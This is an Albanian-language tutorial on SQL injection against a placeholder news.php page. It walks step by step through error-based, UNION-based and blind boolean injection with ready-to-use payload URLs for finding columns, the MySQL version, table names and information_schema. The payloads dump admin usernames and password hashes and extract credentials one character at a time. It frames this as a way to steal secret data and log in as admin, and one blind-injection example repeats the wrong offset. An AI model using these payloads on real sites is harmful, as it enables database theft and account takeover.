Osht ni tutorial i shpjeguar ne detaje. Nqs keni me pyt naj sen , jom i gatshem me ju ndihmu
Ne ket tutorial do tju tregoj se si punon SQL Injectio-ni dhe si ta
perdorim ate qe te marrim disa informata te perdorshme.
Se pari : Qka esht SQL Injection?
Esht nje web aplikacion i thjeshte ne keto dit.
I lejon sulmuesit te nxjerre nga databaza e webit disa informacione
sekrete etj...(shkurt)
1.SQL Injection (e lehte ose e bazuar ne gabime ose qysh dush)
2.Blind SQL Injection (pjese e veshtir)
Te fillojm me nje aksion:D
1). Kontrollo per vulnerability
Te themi se kemi nje site si ky
http://www.site.com/news.php?id=5Tani qe te testojm a eshte vulnerable(i pamrojtur) i shtojm ' ne fund te url-s
edhe bohet kshtu
http://www.site.com/news.php?id=5'nqs na del nje error si:
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
ose diqka e ngjajshme
kjo nenkupton se eshte vulnerable per sql injection
2). Gjej numra e columnave(kolonave)
Qe te gjejme se sa columna kane perdorim shkrimin ORDER BY(urdheron databazen qe te tregoj rezultatet)
Si ta perdorim ate? Veq e rrisim numrin deri sa te na del nje error.
http://www.site.com/news.php?id=5 order by 1/* <-- pa error
http://www.site.com/news.php?id=5 order by 2/* <-- pa error
http://www.site.com/news.php?id=5 order by 3/* <-- pa error
http://www.site.com/news.php?id=5 order by 4/* <-- error (na del nje mesazh si: Unknown column '4' in 'order clause'
ose diqka kshtu)
kjo tregoon se ky site i ka 3 culomna ,sepse ne 4 na dul error.
3). Kontrollo per funksionin UNION
Me UNION ne mund te selektojm me shum te dhena ne nje shkrim SQL.
Pra kemi
http://www.site.com/news.php?id=5 union all select 1,2,3/* (pra ne kemi gjetur se nr i columnave esht 3 ne seksionin 2). )
nqs kemi disa nr. ne faqe, p.sh 1 ose 2 ose 3 at'her UNION punon
4). Gjej versionin e MySQL-s
http://www.site.com/news.php?id=5 union all select 1,2,3/* Shenim: nqs /* nuk punon ose ju dalin disa errora, at'her provoni --
Te themi se e kemi nr.2 ne faqe , tash kontrollokm per versionin
e nderroojm nr.2 me @@vesion ose version() dhe na del diqka si 4.1.33-log ose 5.0.45 ose e ngjajshme.
Duket sikur kjo
http://www.site.com/news.php?id=5 union all select 1,@@version,3/*
nqs ju del nje error si "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."
krejt qka na duhet esht funskioni convert()
p.sh
http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
ose me hex() dhe unhex()
p.sh
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
dhe na del MySQL versioni
5). Te gjejm table dhe column namet
nqs MySQL versioni eshte me i vogel se 5 (i.e 4.1.33, 4.1.12...) <--- me vone do te tregoj MySQL versionet 5 e me lart.
ne duhet me ja qellu ne shum raste column namet
.
table namet e zakonshme jan: user/s, admin/s, member/s ...
column namet e zakonshme jan: username, user, usr, user_name, password, pass, passwd, pwd etc...
p.sh munet me ***
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (ne e shohim nr. 2 ne faqe sikur perpara, kjo esht mire
)
ne e dime table admin eksziston...
tash gjejm column namet.
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (nqs ju del error provoni column name tjera
)
e kemi username te shfaqur ne faqe, p.sh mund te jet admin, ose superadmin etc...
tash kontrollojm column password a ekziston
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (nqs ju del error provoni column name tjera)
ne e shohim passwordin ne hash hash or ose nje tekst te thjesht, nvaret se si eshte e rregulluar databaza
p.sh md5 hash, mysql hash, sha1...
tash e kompletojm shkrimin qe tduket ma mire
per kete perdorim funsionin concat() (i bashkon tdhanat)
p.sh
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
e qita 0x3a, esht hex value for : ( 0x3a eshte hex value per colon)
(ka edhe ni menyr, char(58), ascii value for : )
http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
tash e kemi te shfaqur username:password, p.sh admin:admin ose admin:najhash
kur i keni kto, mundeni mu bo log-in si admin ose ndonje superantar
(kuptohet qe pasi qe ta keni kriptuar hashin)
nqs smundei me gjet table namen e sigurt, ju gjithmon provojeni mysql.user (default)
ky ka user dhe password columns, pra p.sh mund te jet
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
6). MySQL 5
sikur qe thash me par do te shpjegoj se si te gjejm table dhe column namet
ne MySQL > 5.
per ket na nevoitet information_schema. Kjo mban krejt table-t dhe column-at ne databaze.
qe te gjeme table namet ne perdori table_name dhe information_schema.tables.
p.sh
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
ktu e ndrrojm nr. 2 me table_name qe te gjejm tablen e pare nga information_schema.tables
qe shfaqet. Tash duhet te shtojm LIMIT ne fund te SQL-s qe te nxjerrim krejt tablet.
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
e qita 0,1 (te gjejm 1 resultat qe fillon prej 0-os)
per me pa tablen e dyte, ne e rritim limit 0,1 ne limit 1,1
p.sh
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
table e dyte esht e shfaqur.
per tablen e tret e shkrujm limit 2,1
.osh
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
e rrisim deri sa te na del diqka e perdorshme si db_admin, poll_user, auth, auth_user etc...
Qe te gjejm column namet metoda esht e njejt.
ktu perdori column_name dhe information_schema.columns
metoda eshte e njejte si ma heret pra munet me *** :
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
columna e par eshte e shfaqur.
e dyta (e rrisim limit 0,1 ne limit 1,1)
p.sh
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
e dyta esht e shfaqur dhe e rrisim deri sa te na del diqka si
username,user,login, password, pass, passwd etc...
te themi se i kemi gjetur table namet.
p.sh
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*
tash esht e paraqitu column name ne table user. Vetem duke perdor LIMIT-in ne mund te gjejm te gjith columnat ne table user.
Kjo nuk punon nqs thonjezat magjike jan ON.
te themi se i kemi gjetur colums user, pass dhe email.
tash e kompletojm duke i bashku te gjitha se bashku
per kta e perdorim concat() , e shpjegova ma lart.
p.sh
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*
krejt qka kemi eshte user:pass:email prej table userit.
p.sh: admin
qyshdush@palidhje.com
Kjo eshte e gjitha per ket pjes, tash mund te kalojm ne pjesen e vshtir
2. Blind SQL Injection
Blind injection eshte pak me e komplikume sesa SQL-ja po munet mu kan e mire
t'fillojm me punen.
Do ta perdor per shembull
http://www.site.com/news.php?id=5kur e shkrujm kta, ne shohim disa faqe dhe artikuj ne kete faqe, pictura etc...
dhe deshirojm ta testojm a eshte vulnerable per blind sql injection
http://www.site.com/news.php?id=5 and 1=1 <--- kjo asht gjithmon mire
faqja hapet normal, kjo asht nrregull.
tash testi real
http://www.site.com/news.php?id=5 and 1=2 <--- kjo asht keq
pra nqs naj tekst, pictur ose ndonje gje tjeter esht e humbur ne ket faqe at'her ky site eshte vulnerable per blind
sql injection.
1) Gjejm MySQL versionin
qe te gjejm versionin ne sulmin blind ne perdorim substring
p.sh
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
kjo duhet te jet mire nqs versioni i MySQL-s eshte 4.
ndrrojm 4 me 5, dhe nqs hapet mire at'her versioni i MySQL-s esht 5.
p.sh
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
2) Testoj a punon subselect
kur select nuk punon e perdorim subselect
i.e
http://www.site.com/news.php?id=5 and (select 1)=1
nqs faqja hapet normal at'her subselects punon.
tash shohim a kemi access ne mysql.user
i.e
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
nqs faqja hapet normal ne kemi access tek mysql.user dhe me von ne mund te nxjerrim ndonje password
duke perdorum funksionin load_file() dhe OUTFILE.
3). Gjejm table dhe column name-t
Ne ket pjes duhet me ta marr menja mire
p.sh
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (me limit 0,1 shkrimi jone ketu kthehet 1 radhe nga
tdhanat,
sepse subselect kthehet vetem 1 shkall, kjo eshte shum e rendsishme.)
nqs faqja hapet mire pa humbur asgje kjo tregon se table users ekziston.
nqs na del keq (naj sen humb), vetem ndrrojeni table namen deri tja qelloni
t'themi se e kemi gjetur se table name esht users , tash na duhet column name
e njejta si table name,ne provojm nddonje column name ma tshpeshta (qfar tju merr menja)
p.sh
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
nqs faqja hapet normal ne e dijm se column name esht password (nqs jo at'her provoni t'zakonshmet ose qysh tju merr menja)
tash e bashkojm 1 me columnin password, at;her substring kthehet ne karakteret e para (,1,1)
4). Nxjerrja e te dhenave nga databaza
e kemi gjetur table users dhe columns username password dhe do te nxjerrim tdhana nga.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
Kjo nxjerr shkronjen e par nga useri i par ne databaz.
substring ketu kthehet nga shkronja e 1 ne me te gjat. ascii() converton 1 shkronj ne ascii value
dhe e krahasojm me simbolin me e madhe > .
nqs ascii eshte ma e madhe se 80, faqja hapet normal normal. (MIRE)
e provojm deri sa te na del keq.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
na del MIRE, e rrisim
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
apet MIRE, e rrisim
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
KEQ!!!
pra karakteri i pare ne username eshte char(99). Duket perdorur ascii converter ne e dim se char(99) eshte shkronja 'c'.
ta gjojm te dytin
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
tash e ndrrojm ,1,1 ne ,2,1 qe me gjet shkronjen e dyt. (tash e kthen ne karakterin e 1 ne me te gjat)
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
MIRE, faqja hapet normal, e rrisim.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
KEQ, e zvoglojm.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
MIRE, e rrisim.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
KEQ!!!
ne e dijm ne shkronja e dyte esht char(105) dhe kjo esht 'i'. Kemi 'ci' shum larg
pra e rrisim deri sa te gjejm krejt. (kur >0 rikthehet keq e dime se kemi ardh nfund).
Shpresoj qe keni msu diqka prej kti tutoriali!